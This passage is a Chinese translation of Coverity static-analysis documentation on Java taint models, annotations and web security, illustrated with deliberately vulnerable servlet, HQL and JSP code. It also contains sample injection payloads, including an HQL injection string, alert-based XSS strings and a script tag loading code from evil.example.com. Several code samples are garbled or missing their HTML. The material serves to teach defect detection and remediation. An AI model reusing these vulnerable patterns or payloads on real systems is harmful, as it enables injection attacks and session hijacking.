例如，让模型将 `Unknown()` 的结果与 `null` 进行比较，暗示结果可能为 `null`，并且分析将其考虑在内。

另请参阅：

- Section 5.3.1.3.6, “`NonDet()`”

#### 5.3.1.3.20. `Unlock( lock interface{ } )`

在提供的对象上模拟释放锁的操作。

参数：

`lock`

要被建模为将解锁的锁的对象。

另请参阅：

- Section 5.3.1.3.5, “`Lock( lock interface{ } )`”

#### 5.3.1.3.21. `UrlSink( i interface{ } )`

将方法参数标记为用于构造 URL。URL\_MANIPULATION 检查器将在向此方法传递不安全的可由用户控制的字符串时报告缺陷。

参数：

`i`

包含 URL 的接口

#### 5.3.1.3.22. `XssSink( i interface{ } )`

将方法参数标记为用于构造客户端可执行脚本。XSS（跨站点编写脚本）检查器将在向此方法传递不安全的可由用户控制的字符串时报告缺陷。

参数：

`i`

包含可执行脚本的接口

## 5.4. Java 模型和注解

### 5.4.1. 添加 Java 模型

通过向 Coverity Analysis 添加方法模型，您可以查找更多缺陷并帮助减少误报。例如，如果您的应用程序通过第三方 API 使用了新的资源分配接口，Coverity Analysis 可能在使用该分配器时检测并报告缺陷。

您可以为任意 Java 方法（包括在接口和抽象类中定义的抽象方法）建模。但是，创建 Java 接口方法要遵守一些特殊要求（Section 5.4.1.1，“为 Java 接口方法建模”）。

有时，Coverity Analysis 模型由于被建模方法的复杂性而与函数的实际行为不一致。虽然分析框架的改进不断减少覆盖自动计算模型的必要性，但编译时分析的精度存在限制。因此，对于某些情况，您可以通过归类指定方法的行为来提高分析准确度。

要添加新模型，请执行以下步骤：

1. 导入相关原语。

Coverity 原语是 `com.coverity.primitives` 数据包的一部分。Coverity Analysis 在 `<install_dir>/library/primitives.jar` 中提供了包含原语的 JAR 文件。

Coverity Analysis 在 `<install_dir>/doc/<en|ja>/primitives/index.html` 中提供了 Javadoc 文档，其中包含关于这些原语的描述。

2. 添加代表想要添加函数的行为的 stub 方法。

3. 编译类并注册模型。

请注意，此命令提供了用于基于某些检查器和使用这些检查器的检查器组有选择地生成模型的选项（可选）。例如，将Section 5.4.1.2，“为资源泄漏建模”中使用的选项与Section 5.4.1.3，“为不可信（被污染的）数据源建模”中使用的选项进行比较。有关其他选项，请参阅《Coverity 命令说明书》。

4. 运行分析以及新模型。

#### 5.4.1.1. 为 Java 接口方法建模

在为接口方法创建模型时，您需要将该接口声明为类，因为接口方法不能拥有实现。例如，Coverity 提供了 `<code>Comparable<T>` 接口的以下内置模型：

```
public class Comparable<T> {
 public int compareTo(T o) {
 return unknownNonnegativeInt();
 }
}
```

#### 5.4.1.2. 为资源泄漏建模

下面的示例说明了如何添加模型以便检测名为 `MyResource` 的类的资源泄漏。

1. 在您的用户模型源文件中导入 `Resource_LeakPrimitives` 类，并为需要在分析期间跟踪的资源创建用户模型。例如：

```
import com.coverity.primitives.Resource_LeakPrimitives;
public class MyResource {

 public MyResource() {
 com.coverity.primitives.Resource_LeakPrimitives.open(this);
 }

 public void close() {
 com.coverity.primitives.Resource_LeakPrimitives.close(this);
 }
}
```

2. 创建用户模型文件（仅适用于质量检查器）：

```
> cov-make-library --output-file user_models.xmldb --disable-default --quality
MyResource.java
```

请注意，组合使用 `--disable-default` 和 `--quality` 可限制为仅生成质量检查器使用的模型。

`user_models.xmldb` 文件现在可用于分析其他数据包是否存在 `MyResource` 泄漏。

3. 在分析期间使用新模型：

```
> cov-analyze --dir <intermediate_directory> --user-model-file user_models.xmldb
```

有关其他示例，请参阅 `USE_AFTER_FREE` 模型和 `RESOURCE_LEAK` 模型。

#### 5.4.1.3. 为不可信（被污染的）数据源建模

如果分析未能报告安全缺陷（SQLI、XSS、OS\_CMD\_INJECTION），有几种可能的原因和解决方法。

如果分析无法识别被污染的数据的源，则可能发生漏报。如果您程序中的方法返回了被污染的数据，但分析未发现该问题，则您需要为该方法编写模型。同样，如果方法获取 `StringBuffer`（或类似对象）并将被污染的数据追加到其中，您还可以为该行为建模。例如，下面的模型会告诉分析，`MyClass.ReturnsTainted` 方法返回了被污染的数据并且 `MyClass.appendstainted` 方法污染了其参数（可能是通过向其中插入被污染的字符串）。

```
public class MyClass {
 // The return value of returnsTainted() is tainted.
 String returnsTainted() {
 return com.coverity.primitives.SecurityPrimitives.asserted_source();
 }

 // A call to appendstainted taints its argument.
 void appendstainted(StringBuffer sb) {
 com.coverity.primitives.SecurityPrimitives.asserted_source(sb);
 }
}
```

```

 }
}

```

有关此建模原语和其他类似建模原语的描述，请转到 Coverity Analysis 安装目录，在下面的文件中查找关于 `com.coverity.primitives.SecurityPrimitives` 的 Javadoc：`<install_dir>/doc/en/ja/primitives/com/coverity/primitives/SecurityPrimitives.html`。另请参阅 Section 5.4.2，“添加 Java 注解以提高准确度”中有关 `@Tainted` 注解的论述和 Section 5.4.1.5，“添加字段被污染或未被污染的断言”。

要仅为 Web 应用程序安全检查器生成模型，请参阅 Section 5.4.1.7，“生成 Java Web 应用程序安全模型”。

#### 5.4.1.4. 为不能流入被污染数据的方法（数据消费者）建模

如果分析无法识别数据消费者（属于不能流入被污染数据的方法参数，原因是存在攻击者会破坏数据库、控制新操作系统进程或通过其他方式破坏您的应用程序的风险），就可能发生漏报。如果 SQLI 检查器未能将您程序中的方法参数识别为可作为 SQL、HQL 或 JPQL 查询执行的项，您可以按此方式为其建模，而且您可以为 `OS_CMD_INJECTION` 创建类似的模型。例如，下面的模型指示 SQLI 检查器在被污染的数据流入 `MyClass.executeSql` 方法的 `query` 参数时报告缺陷，并且指示 `OS_CMD_INJECTION` 检查器在被污染的数据流入 `MyClass.execute` 方法的 `commandLine` 参数时报告缺陷。

```

public class MyClass {
 void executeSql(String query, boolean somethingElse, String unrelated) {
 com.coverity.primitives.SecurityPrimitives.sql_sink(query);
 }
 void execute(String commandLine) {
 com.coverity.primitives.SecurityPrimitives.os_cmd_one_string_sink(commandLine);
 }
}

```

要生成模型文件，请执行以下步骤：

```
> cov-make-library --output-file user_models.xmldb --disable-default --webapp-security
MyClass.java
```

有关此建模原语和其他类似建模原语的描述，请转到 Coverity Analysis 安装目录，在下面的文件中查找关于 `com.coverity.primitives.SecurityPrimitives` 的 Javadoc：`<install_dir>/doc/en/ja/primitives/com/coverity/primitives/SecurityPrimitives.html`。另请参阅关于适用于 Section 4.309，“`TAINT_ASSERT`”检查器的 `@NotTainted` 注解的论述和 Section 5.4.1.5，“添加字段被污染或未被污染的断言”。

#### 5.4.1.5. 添加字段被污染或未被污染的断言

在某些情况下，您可能想要覆盖特定类字段的 Coverity Analysis 计算的污染值。可以断言始终应将使用的字段视为已被污染，在这种情况下，如果通过不安全的方式使用这些值，将会报告安全缺陷；还可以断言，始终不应将该字段视为已被污染，在这种情况下，将会抑制由于通过不安全的方式使用值导致的安全缺陷。

有两种机制可断言字段的被污染和未被污染状态：

- 命令行选项

- **注解**

有关允许正则表达式匹配完全限定字段名称的命令行选项，请参阅《》中的 cov-analyze 条目。 Coverity 命令说明书。 此外，还可在被分析代码内的字段定义中添加以下两项注解：

```
com.coverity.annotations.Tainted;
com.coverity.annotations.NotTainted;
```

这些污染注解仅在被应用到以下对象时有意义：属于 String（或其他 CharSequence 实现类）的字段、String（或其他 CharSequence 实现类）类型的 Java 集合或者 byte 或 char 原语的数组。下面的示例展示了几种有效的应用程序：

```
import com.coverity.annotations.*;

class UserData {
 @NotTainted String name;
 @Tainted StringBuffer selfDescription;
 @Tainted Map<int, String> favoriteColorByAge;

 String userid;
}
```

注解对其他类型的字段无效或无意义。特别是，不能将此类注解用于传递污染对象内的所有字符串型数据。必须将这些注解直接应用到其包含的每个字符串值字段定义。下面的示例说明了如何断言 WebTransaction 对象中的所有 FormData 都被污染：

```
import com.coverity.annotations.*;

class WebTransaction {
 int id;
 FormData form; // it is NOT valid to annotate this field
}
class FormData {
 @Tainted String item;
 @Tainted String quantity;
 @Tainted String description;
}
```

考虑下面的示例，其中传递了 --tainted-field com.coverity.examples.Table.\* 命令行选项以断言字段 com.coverity.examples.Table.title 和 com.coverity.examples.Table.values 被污染。这会导致在 doSqlQuery 方法中报告 SQLI 缺陷，无论是否向该对象的头文件字段指定了任何其他攻击者可控的字符串。

```
package com.coverity.examples.*;

class Table {
 String title;
 Map<int, String> values;
 int id;
```

```

void doSqlQuery(Statement stmt, String where_clause) {
 stmt.executeQuery("SELECT * FROM " + this.title + " where " + where_clause);
}
}

```

上述示例等同于下面使用 `@Tainted` 注解的情形：

```

package com.coverity.examples.*;

import com.coverity.annotations.Tainted;

class Table {
 @Tainted String title;
 @Tainted Map<int, String> values;
 int id;

 void doSqlQuery(Statement stmt, String where_clause) {
 stmt.executeQuery("SELECT * FROM " + this.title + " where " + where_clause);
 }
}

```

下面的示例展示了使用 `@NotTainted` 注解的情形。如果不存在注解，将在 `MyServlet.printPage` 方法内报告跨站点脚本 (XSS) 缺陷。但是，由于 `color` 字段被断言为始终安全（未被污染），XSS 缺陷将被抑制。

```

import com.coverity.annotations.NotTainted;

class MyServlet extends HttpServlet {

 @NotTainted String color;

 private void printPage(PrintWriter out) {
 out.println("<HTML><BODY>");
 out.println(this.color);
 out.println("</BODY></HTML>");
 }

 public void doPost(HttpServletRequest req, HttpServletResponse resp)
 throws ServletException, java.io.IOException {

 color = req.getParameter("color");

 printPage(resp.getWriter());
 }
}

```

如果启用了 Taint\_ASSERT 检查器，它会在 `MyServlet.color` 字段的注解处报告问题。有关如何使用该检查器验证关于非污染状态的断言有效性的详细信息，请参阅 Section 4.309, “Taint\_ASSERT”。

#### 5.4.1.6. 抑制对方法的缺陷报告

空模型将覆盖分析推导的行为。例如，如果分析推导出调用方中存在导致误报的错误行为，则编写无此类行为的用户模型即可将其消除。在使用 CSRF 检查器时，您可以使用此类模型来减少误报，例如：

```

package com.example;

class MyDAO {
 void permissibleUnprotectedDatabaseUpdate(String value) {
 /* Empty model suppresses derived CSRF protection obligation:
 * SecurityPrimitives.csrf_check_needed_for_db_update();
 */
 }
}

```

要仅为 Web 应用程序安全检查器生成模型，请参阅Section 5.4.1.7，“生成 Java Web 应用程序安全模型”。

#### 5.4.1.7. 生成 Java Web 应用程序安全模型

要仅为 Web 应用程序安全检查器生成模型，并避免模型覆盖其他检查器针对其所创建模型做出的推断，请使用 `--disable-default` 和 `--webapp-security` 选项以及 `cov-make-library`，例如：

```
> cov-make-library --output-file user_models.xmldb --disable-default --webapp-security
MyClass.java
```

#### 5.4.2. 添加 Java 注解以提高准确度

通过向 Coverity Analysis 分析的源文件添加注解，您可以通过某些检查器获取更准确的结果。您可以显式标记包含适当行为的类和方法，而不是让检查器推断信息。分析可以在运行时读取这些注解。Coverity Analysis 注解使用标准 Java 注解的语法。

要添加注解，请执行以下步骤：

1. 导入相关注解。

Coverity 注解是 `com.coverity.annotations` 数据包的一部分，包含原语的 JAR 文件位于 Coverity Analysis 安装目录的 `<install_dir>/library/annotations.jar` 中。



##### 重要事项！

如果您想要向第三方分发 `annotations.jar`，请参阅 Section K.1，“法律声明”中关于 `annotations.jar` 的部分。

请参阅 `<install_dir>/doc/<en|ja|ko|zh-cn>/annotations/index.html` 中的 Javadoc 文档，了解这些注解的描述。

2. 通过相关注解标记方法和/或类。

支持注解的检查器：

- `CALL_SUPER` - Section 4.34.4, “注解”
- `CHECKED_RETURN` - Section 4.36.4, “注解和原语”
- `GUARDED_BY_VIOLATION` - Section 4.164.4, “注解”

- MISSING\_BREAK - Section 4.212.4, “Java 注解”
- NULL RETURNS - Section 4.234.4.2, “Java 注解”
- OS\_CMD\_INJECTION - @Tainted、@NotTainted
- PATH\_MANIPULATION - @Tainted、@NotTainted
- SENSITIVE\_DATA\_LEAK - Section 4.283.5, “模型和注解”
- SQLI - @Tainted、@NotTainted
- TAIN ASSERT - @NotTainted
- WEAK\_PASSWORD\_HASH - Section 4.359.5, “模型和注解”
- XSS - @Tainted、@NotTainted

### 3. 对带有注解的代码运行分析。

#### @Tainted 和 @NotTainted 注解

##### @Tainted

将字段标记为 @Tainted 表明安全检查器应该将该字段视为来自不可信的源（即，被污染）。尤其是，安全检查器（例如 XSS、SQLI 和 OS\_CMD\_INJECTION）会在被注解为 @Tainted 的字段流入 servlet 输出、SQL 解释器或另一个此类数据消费者时报告缺陷。

```
import com.coverity.annotations.*;
import java.sql.*;
class HasTaintedField {
 @Tainted String untrusted;
}
class MyController {
 void doQuery(HasTaintedField x, Statement stmt) {
 stmt.execute("SELECT * FROM user WHERE name=' " + x.untrusted + "' ");
 }
}
```

##### @NotTainted

将字段标记为 @NotTainted 会产生以下两种后果：

- 分析将使用此类数据视为未被污染，因此它不会在数据流入 servlet 输出、SQL 解释器或其他此类数据消费者时报告缺陷。
- 如果被污染的数据实际上流入了该位置，分析将报告 TAIN ASSERT 缺陷。

有关分析如何使用 @NotTainted 注解的详细信息，请参阅 Section 4.309, “TAIN ASSERT” 检查器说明。

```
@SensitiveData
```

您可以使用 `@SensitiveData` 为敏感数据源建模。在下面的示例中，如果将 `returnsPassword` 的返回值或传递给 `storesPasswordInParam` 的参数传递给数据消费者，该检查器将报告类型为 `Cleartext sensitive data in <sink>` 的缺陷。

```
@SensitiveData({SensitiveDataType.SDT_PASSWORD})
Object returnsPassword() {
 // This function returns password data.
}

void storesPasswordInParam(
 @SensitiveData({SensitiveDataType.SDT_PASSWORD}) Object arg1) {
 // The parameter arg1 will be treated as password data.
}

// The field pw will be treated as password data.
@SensitiveData({SensitiveDataType.SDT_PASSWORD}) String pw;
```

与 Coverity 原语一样，您可以使用 Coverity 注解指定多种敏感数据类型。为此，您只需在花括号内为 `@SensitiveData` 注解提供以逗号分隔的 `SensitiveDataType` 枚举列表。请参阅Table 4.6，“敏感数据源类型”获得您可以使用的敏感数据类型的完整列表。

## 5.5. Swift 中的模型

Coverity Analysis 中使用的 Swift 模型允许您发现更多缺陷，并有助于消除 Swift 源代码中的任何误报。与 Java 模型一样，Swift 模型可以帮助 Coverity Analysis 在使用任何新的资源分配器时检测和报告缺陷。（请参阅Section 5.4.1，“添加 Java 模型”了解更多信息）。

要添加新模型，请执行以下步骤：

1. 添加代表想要添加方法的行为的 stub 方法。

要正确地应用模型，以下条目必须全部匹配：命名空间名称、类名称、类型参数的数量和名称、方法名称、方法参数类型以及返回类型。

2. 使用 `cov-make-library` 命令编译类并注册该模型。
3. 使用 `cov-analyze` 命令针对新模型运行分析。例如：

```
cov-analyze --dir <intermediate_directory> --user-model-file ../user_models.xmldb
```

## 5.6. 创建搜索顺序模型

`cov-analyze` 命令可按以下顺序搜索模型：

1. 用户模型文件，通过 `--user-model-file`（在版本 7.7.0 中已废弃）或 `--model-file` 的参数，按照在命令行中的显示顺序。
2. 位于 `config` 目录中的 `user_models.xmldb`（如果存在）。

3. Coverity 内置模型。
4. 从当前分析继承的模型。
5. 仅限 C/C++ (cov-analyze) : 之前继承的模型，来自 `--derived-model-file` ( 在版本 7.7.0 中已废弃 ) 或 `--model-file`，按照在命令行中的显示顺序。

请注意，`--model-file` 可用于指定用户或继承模型文件；它会自动检测文件是表示用户模型 ( 通过 cov-make-library ) 还是之前继承的模型 ( 通过 cov-collect-models ) 。

---

# Chapter 6. 安全说明书

## Table of Contents

6.1. Coverity Web 应用程序安全 .....	880
6.2. C/C++ 应用程序安全 .....	896
6.3. SQLi 上下文 .....	898
6.4. XSS 上下文 .....	901
6.5. 操作系统注入命令上下文 .....	915
6.6. Web 应用程序安全示例 .....	918
6.7. 安全命令 .....	947
6.8. 被污染的数据概述 .....	948
6.9. 敏感数据概述 .....	951
6.10. 审计模式 .....	951

### 6.1. Coverity Web 应用程序安全

#### 6.1.1. Web 应用程序安全简介

Coverity 可分析您的 Web 应用程序以查找多个类型的安全问题。该分析可检测来自 HTTP 请求、网络事务、不可信数据库、控制台输入或文件系统的不安全数据进入您的 Web 应用程序的情况。它会跟踪此类不安全的数据，而且如果此类数据被不正确地用于某个上下文中，Coverity 会在 Coverity Connect 中将此类使用报告为问题。Coverity 针对使用的各种技术为您提供了可行的修复建议。

这种不安全的数据被认为是“被污染的数据”。有关更多信息，请参阅“Section 6.8, “被污染的数据概述””。

#### 6.1.2. Java Web 应用程序

Coverity 可分析 Java Web 应用程序。它能理解很多常用框架，例如 Java Servlet、JavaServer Page 和 Spring MVC。Coverity 可以检测使用 SQL 或其他查询语言的情况，其中重点针对常用的 Java 技术，例如 JDBC、Hibernate 和 JPA。此外，还有一系列配置检查器可检测 Web 应用程序安装或其环境中的常见漏洞。

#### 6.1.3. ASP.NET Web 应用程序

Coverity 可分析 ASP.NET 页面和应用程序。它对 ASP.NET Web Form 和 MVC 应用程序都提供支持，包括 ASP.NET 页面 (\*.aspx)、控件 (\*.ascx) 和 Razor 视图模板 (\*.cshtml 文件)。Coverity 还能理解某些第三方框架，例如 Dapper 和 nHibernate。

#### 6.1.4. Web 应用程序安全漏洞

本小节描述了 Coverity 可在源代码中找到的 Web 应用程序安全问题类型。

##### 6.1.4.1. SQL 注入 (SQLi)

SQL 注入 (SQLi) 是一种允许用户更改 SQL 语句目的的问题。当被污染的用户数据 ( 属于不安全的数据 ) 被插入或连接到包含一系列要求或义务的 SQL 语句中时 , 就会发生此类安全缺陷。如果未确保数据安全 ( 即通过净化数据 ) , 被污染的字符会将语句更改为原程序员意想不到的内容。

### 6.1.4.1.1. SQLi 风险

如果用户可以更改 SQL 语句的目的 , SQLi 就可能会影响数据库系统的机密性、完整性以及可用性。通过追加额外的 UNION 或类似构造 , 用户可能会泄露之前可能已被筛选或限制的信息。用户可能能够在查询中插入或更新数据 , 从而影响其完整性 , 具体取决于相应语句。在某些情况下 , 用户可能能够丢弃数据库中的整个表格 , 从而严重影响整个系统的可用性。众多针对各种组织的高调攻击都是由于 SQLi 问题导致的。

### 6.1.4.1.2. SQLi 示例 (Java)

在下面的 SQLi 示例中 , Java Servlet 传递了被污染的数据 , 后者被连接到 Hibernate 查询语言 (HQL) 语句。请注意 , 该示例仅显示了与此问题有关的一部分代码 , 并提供了指向关于问题发展的详细信息的链接。该示例中的颜色编码与 Coverity Connect 在其问题报告和修复建议中提供的颜色编码相对应。

**IndexController.java :**

```
13 public class IndexController extends HttpServlet {
14
15 private BlogEntryRetriever blogEntryRetriever;
16 private BlogEntryInsert blogEntryInsert;
17
18 protected void doGet(HttpServletRequest request,
19 HttpServletResponse response)
20 throws ServletException, IOException {
21
22 String table_name = request.getParameter("table_name");
23 String entry_id = request.getParameter("id");
24
25 HashMap<String, Integer> map =
26 blogEntryRetriever.get(table_name, entry_id);
27
28 Reading data from a servlet request, which is considered tainted.
29 String user = request.getParameter("user");
30 String content = request.getParameter("content");
31 blogEntryInsert.insert(user, content);
32
33 Passing the tainted data, "user",
34 to com.coverity.sample.logic.BlogEntryInsert.getContent(java.lang.String).
35 List entries_user = blogEntryInsert.getContent(user);
```

**BlogEntryInsert.java :**

```
50 Parameter "user" receives the tainted data.
51 public List getContent(String user) {
52 Session session = factory.openSession();
53 Transaction tx = null;
54 List results = null;
55 try{
```

```
56 tx = session.beginTransaction();Detected a likely SQL statement
Insecure concatenation of a SQL statement.
The value "user" is tainted.
A tainted value is passed to a SQL API. Remediation for SQL injection in HQL: specific
advice for SQL string
- Add a named parameter to the SQL statement, for example ":someParam"
- Bind the tainted value to the parameter using the setParameter method:
 Query.setParameter("someParam", user)
[More Information]
57 Query query = session.createQuery("from blog_entry where user =
 '" + user + "'");
58 results = query.list();
59
60 tx.commit();
```

### 安全缺陷的发展：

- IndexController.java (26)：从 HTTP 请求中获取了参数 user。此值会一直处于被污染状态，直至其得到适当的净化。
- IndexController.java (30)：该值被传递给 blogEntryInsert.getContent() 方法。
- BlogEntryInsert.java (57)：在 session.createQuery() 方法中，被污染的参数被连接到 Hibernate HQL 字符串（带有单引号）。

如果参数中包含单引号，该 HQL 字符串将会结束，并且所有后续文本将被 HQL 编译器解释为 HQL 代码。因此，该语句的目的即被更改。用户现在能够添加子句，而不是由语句选择用户提供的所有博客条目，例如：

```
' or exists (from blog_entry) and user <> 'FAKE_USER'
```

该示例选择了除了用户 FAKE\_USER 之外的所有博客条目。下面的语句被传递给 HQL 编译器：

```
1 Query query = session.createQuery("from blog_entry where user =
 ' or exists (from blog_entry) and user <> 'FAKE_USER'");
2
```

#### 6.1.4.1.3. 常用 SQL 语句上下文

在修复 SQLi 问题时，您需要了解当前上下文、针对该上下文的安全义务以及哪些字符或序列违反这些义务。SQL 语句由不同的上下文组成，每种上下文都使用不同的语言规则解释它们包含的值或表达式。

经常收到用户提供的数据的常用 SQL 上下文：

- SQL 字符串，例如：

```
SELECT * FROM table WHERE user = 'TAINTED_DATA_HERE'
```

- LIKE 子句内的 SQL 字符串，例如：

```
SELECT * FROM table WHERE user LIKE '%TAINTED_DATA_HERE'
```

- ORDER BY 子句内的 SQL 标识符，例如：

```
SELECT * FROM table ORDER BY table.username TINTED_DATA_HERE
```

- IN 子句内的 SQL 表达式，例如：

```
SELECT * FROM table WHERE user IN (TINTED_DATA_HERE)
```

有关所有 SQL 上下文的信息，请参阅Section 6.3，“SQLi 上下文”。

### 6.1.4.1.4. SQLi 修复示例

一旦您了解了用户数据被插入了什么上下文，就可以确定最有效的修复策略。有关不同修复策略的详细信息，请参阅Section 6.1.5，“修复”。

### 6.1.4.2. 跨站点脚本 (XSS)

跨站点脚本 (XSS) 是一种问题，当被污染的用户数据（属于不安全的数据）被插入具有一系列安全要求或义务的 HTML 中时就会发生这种问题。如果未确保此类数据安全（净化数据），浏览器可能会对这些字符做出不同的解释。

有关修复信息，请参阅Section 6.6.2，“XSS 修复示例”。

### 6.1.4.2.1. XSS 风险

如果用户已通过验证可建立会话，XSS 问题可能会影响已验证会话的机密性，包括会话提供的所有信息和访问权限。攻击者可能会直接（通过泄露并重播会话令牌）或间接（通过利用用户的浏览器作为代理执行操作）劫持会话。

例如，假设某家银行网站在某些组件中存在 XSS 问题，并且一些用户目前登录了该网站。攻击者锁定了此用户，并且让该用户点击可利用 XSS 问题的恶意链接，例如通过钓鱼电子邮件或即时消息 (IM) 发送的链接。攻击者现在可执行用户能够执行的任意银行交易，因为该攻击者除了可执行正常对用户显示的其他功能之外，还可以执行任意 JavaScript 代码。

### 6.1.4.2.2. XSS 示例：ASP.NET Razor 视图

下面的 XSS 示例使用了在请求参数（之后显示在嵌套上下文内）中显示不安全数据的 ASP.NET Razor 视图。

该示例中的颜色编码与 Coverity Connect 在其潜在安全漏洞 (CID) 报告和修复建议中提供的颜色编码相对应。

**example.cshtml :**

```
1. tainted_source: Reading data from an HTTP
 request, which is considered tainted.
{@
 String needHelp = Request["needHelp"];
}
```

```
2. taint_path_call: Passing the tainted data
 through System.Web.Mvc.HtmlHelper.Raw(System.String).
3. xss_injection_site: Printing base.Html.Raw(needHelp) to an HTML page allows
 cross-site scripting, because it was not properly sanitized for the nested
 contexts JavaScript single quoted string and HTML double quoted attribute.
Remediation for cross-site scripting
 in C#: Escaping needs to be done for all of the contexts in the following
 order, for example

 Escape.Html(Escape.JsString(taintedData))

 where Escape.JsString is a function from Coverity that escapes tainted data
 (for JavaScript string), and Escape.Html escapes tainted data (for HTML
 attribute). "taintedData" represents the expression
 "base.Html.Raw(needHelp)".

Hello
```

对于 Visual Basic , .vbhtml 中的等效代码如下所示 :

```
@Code
 Dim needHelp As String = Request("needHelp")
End Code
Hello
```



### Note

有关该示例中所用上下文和转义函数的符号名称的描述，请参阅。 符号名称。 [🔗](#)

安全缺陷的发展 :

- 事件 1 : 从 HTTP 请求获取了参数 needHelp 。此值会一直被视为已污染，直至其得到适当的净化。
- 事件 2 : Html.Raw 方法将该值转换为 IHtmlString ( 不会被 Razor 引擎自动转义 )。
- 事件 3 : 该值被“内联”到双引号引起的 onmouseover HTML 标记属性中单引号引起的 Javascript 字符串中。

如果用户将鼠标悬停在 span 标记上方，浏览器将会执行 DOM onMouseOver() 事件处理程序 ( 这会直接将属性值解释为 JavaScript ) 以及在使用之前被解码的任何 HTML 实体。因此，在这种情况下，至少可使用两种上下文：原始的 HTML 双引号引起的属性上下文和 JavaScript 上下文。两种上下文都容易发生 XSS 问题，并且需要在修复此缺陷之前按适当的顺序进行净化。

下面的示例执行了简单的 JavaScript 弹出函数：

```
none') || alert('XSS
```

该 Javascript 弹出函数在可能的 URL 中会如下所示：

```
http://blog.example.com/example?needHelp=none') || alert('XSS
```

被插入到页面中时，它会如下所示：

```
Hello
```

再次说明，攻击者只需让用户点击恶意链接即可。

### 6.1.4.2.3. XSS 示例：Java servlet

下面的示例显示了将被污染的数据直接写入 response 数据流（之后显示在 HTML 上下文内）的 Java Servlet 中存在的 XSS 问题。

该示例中的颜色编码与 Coverity Connect 在其潜在的安全漏洞 (CID) 报告和修复建议中提供的颜色编码相对应。

**IndexServlet.java :**

```
8 public class IndexServlet extends HttpServlet {
9
10 protected void doGet(HttpServletRequest request,
11 HttpServletResponse response)
11 throws ServletException, IOException {
12 Reading data from a servlet request, which is considered tainted.
12 A user-controllable string.
13 String param = request.getParameter("index");
14
15 PrintWriter out = response.getWriter();
16 response.setContentType("text/html");Passing the tainted data through
16 java.lang.String.toString().
16 Concatenating the tainted data.
16 For context HTML_PCDATA, expected escaper of kind HTML_ENTITY
16 but none found.
16 The user-controllable expression "param" is being concatenated
16 into the output without the proper sanitization.
16 Page context: HTML_PCDATA.
16 Print or output statement where unsafe value is added to HTML output.
16 Remediation for cross-site scripting in Java:
16 Escaping needs to be done for the detected context , for example:
16
16 Escape.html(taintedData)
16
16 where Escape.html escapes tainted data (for HTML). "taintedData" represents the
16 expression "param".
16 [More Information]
17 out.write("<html><body>Index requested: " + param);
18 out.write("...");
```



#### Note

有关该示例中所用上下文和转义函数的符号名称的描述，请参阅。 符号名称。 [↗](#)

安全缺陷的发展：

- `IndexServlet.java (13)` : 从 HTTP 请求中获取了参数 `index`。此值会一直被视为不安全，直至其得到适当的净化。
- `IndexServlet.java (17)` : 该值显示在 HTML 上下文中。

攻击者可通过以下示例随意执行潜在的恶意 JavaScript 代码：

```
<script src="http://evil.example.com/bad.js"></script>
```

对于可能的 URL ( 例如 `blog.example.com` ) , 安全缺陷将如下所示：

```
http://blog.example.com/webApp/?index=<script
src="http://evil.example.com/bad.js"></script>
```

安全缺陷被插入到页面中时会如下所示 ( 在攻击者促使其他用户点击恶意链接后 ) :

```
<html><body>Index request:<script src="http://evil.example.com/bad.js"></script>
[...]
```

### 6.1.4.2.4. XSS 示例 : JavaServer Page

下面的 XSS 示例使用了在请求参数 ( 之后显示在嵌套上下文内 ) 中显示不安全数据的 JavaServer Page。

该示例中的颜色编码与 Coverity Connect 在其潜在的安全漏洞 (CID) 报告和修复建议中提供的颜色编码相对应。

**bloghelp.jsp :**

```
1<%@ page language="java" contentType="text/html; charset=utf-8"
2 pageEncoding="utf-8"%>
3<%@taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
4<%Reading data from a servlet request, which is considered tainted.
A user-controllable string.
5 String needHelp = request.getParameter("needHelp");
6 if (needHelp == null || needHelp == "")
7 needHelp = "none";
8%>
9<!DOCTYPE html>
10<html>
11<head>
12 <script src="/webApp/static/js/main.js"></script>
13</head>
14<body>
15For context HTML_ATTR_VAL_DQ,
expected escaper of kind HTML_ENTITY but none found.
For context JS_STRING_SQ, expected escaper of kind JS_STRING
but none found.
The user-controllable expression "needHelp" is being concatenated
into the output without the proper sanitization.
Page context: HTML_ATTR_VAL_DQ JS_STRING_SQ.
```

```
Unsafe value is added to HTML output here.
Perform the following escaping in the following order to
guard against cross-site scripting attacks with JSP scriptlets.
```

```
Escape.html(Escape.jsString(needHelp))
```

```
where Escape.jsString is a function from Coverity that escapes
tainted data (for JavaScript string) , and Escape.html escapes
tainted data (for HTML attribute).
```

```
[More Information]
```

```
16 <span onmouseover="lookupHelp('<%= needHelp %>');"Hello Blogger!
```

```
17
```

```
18 To add a blog, please navigate to ...
```

```
19
```



### Note

有关该示例中所用上下文和转义函数的符号名称的描述，请参阅《Coverity 检查器说明书》中的 符号名称 [¤](#)。

安全缺陷的发展：

- bloghelp.jsp (5)：从 HTTP 请求中获取了参数 needHelp。此值会一直被视为已污染，直至其得到适当的净化。
- bloghelp.jsp (16)：该值被连接到 HTML 双引号引起的 onmouseover 属性内。

如果用户将鼠标悬停在 span 标记上方，浏览器将会执行 DOM onMouseOver() 事件处理程序（这会直接将属性值解释为 JavaScript）以及在使用之前被解码的任何 HTML 实体。因此，在这种情况下，至少可使用两种上下文：原始的 HTML 双引号引起的属性上下文和 JavaScript 上下文。两种上下文都容易发生 XSS 问题，并且需要在修复此缺陷之前按适当的顺序进行净化。

下面的示例执行了简单的 JavaScript 弹出函数：

```
none')||alert('XSS
```

该 Javascript 弹出函数在可能的 URL ( 例如 blog.example.com ) 中会如下所示：

```
http://blog.example.com/webApp/?needHelp=none')||alert('XSS
```

被插入到页面中时，它会如下所示：

```
<span onmouseover="lookupHelp('none')||alert('XSS');"Hello Blogger!
```

再次说明，攻击者只需让用户点击恶意链接即可。

#### 6.1.4.2.5. XSS 示例 : Spring Web MVC (Java)

下面的示例显示了使用 Spring Web MVC ( 将请求参数绑定到 bean，用于 JavaServer Page ) 的 XSS 问题。该参数之后显示在 HTML 内。

该示例中的颜色编码与 Coverity Connect 在其潜在的安全漏洞 (CID) 报告和修复建议中提供的颜色编码相对应。

**HomeController.java :**

```
19 @Controller
20 @RequestMapping(value = "/index")
21 public class HomeController {
22
23 private static final Logger logger =
24 LoggerFactory.getLogger(HomeController.class);
25
26 @RequestMapping(value = "/", method = RequestMethod.POST)Entering this
27 function as a framework entry point. Parameter "content"
28 is tainted because it comes from a servlet request.
29 A user-controllable string.
30 Parameter "content" receives the tainted data.
31 public String home(String content, Model model) {Passing the tainted data
32 through
33 org.springframework.ui.Model.addAttribute(java.lang.String, java.lang.Object).
34 model.addAttribute("blog_content", content);
35
